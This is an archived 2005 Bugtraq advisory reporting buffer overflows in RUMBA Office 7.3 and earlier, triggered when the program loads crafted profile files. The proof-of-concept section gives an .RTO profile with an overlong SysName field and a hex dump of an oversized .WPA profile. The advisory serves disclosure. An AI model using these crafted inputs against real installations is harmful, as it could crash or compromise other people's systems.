bugtraq - Buffer Overflow within the RUMBA product

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20050401211626.10511.qmail@www.securityfocus.com>
Date: 1 Apr 2005 21:16:26 -0000
From: Bahaa Naamneh <b_naamneh@...mail.com>
To: bugtraq@...urityfocus.com
Subject: Buffer Overflow within the RUMBA product




Buffer Overflow within the RUMBA product
----------------------------------------
 

Advisory Information:
=====================
Application: RUMBA OFFICE 
Vendor Homepage: http://www.netmanage.com
Versions: 7.3 (and earlier versions)
Platforms: Windows (all) 
Severity: High 
Date: 15/01/05


Introduction:
=============
RUMBA is the most recognized host access software brand in the world thanks 
to its ability to increase user productivity and reduce total cost of ownership.
Access host information from any desktop or server-managed client.
Streamline business processes to meet your current and future needs.
Protect your valuable host information from internal and external threats.

- Vendors Description


Details:
========
There are several buffer overflow vulnerabilities which can be triggered when 
loading a specially crafted profile into RUMBA. RUMBA is lacking in it's ability 
to safely copy values out of the profile file; it places too much trust on the 
length values calculated or supplied within these files being under a certain 
length limit. 


Proof Of Concept:
=================
-----------snip-of-foo.RTO-profile-file-----------

[RUMBAFIL]
Version=5.32
InterIndex=4
SysName=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxBBBB
Type=RECV
Min=FALSE
Notify=TRUE
Percent=TRUE
Close=FALSE
Truncate=TRUE
Auto=FALSE
TruncateSpaces=TRUE
Nulls=FALSE
EncryptedPassword=FALSE
ASName=

-----------------------snip-----------------------



-------snip-of-foo.WPA-profile-file-(HEX)---------

00 00 00 00 00 00 00 43 3a 5c 50 72 6f 67 72 61 
6d 20 46 69 6c 65 73 5c 4e 65 74 4d 61 6e 61 67 
65 5c 52 55 4d 42 41 5c 53 79 73 74 65 6d 5c 50 
72 66 53 61 76 65 31 2e 41 6d 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

-----------------------snip-----------------------


Vendor status:
==============
The vendor has been informed.


Discovered by/Credit:
=====================
Bahaa Naamneh
b_naamneh@...mail.com
http://www.bsecurity.tk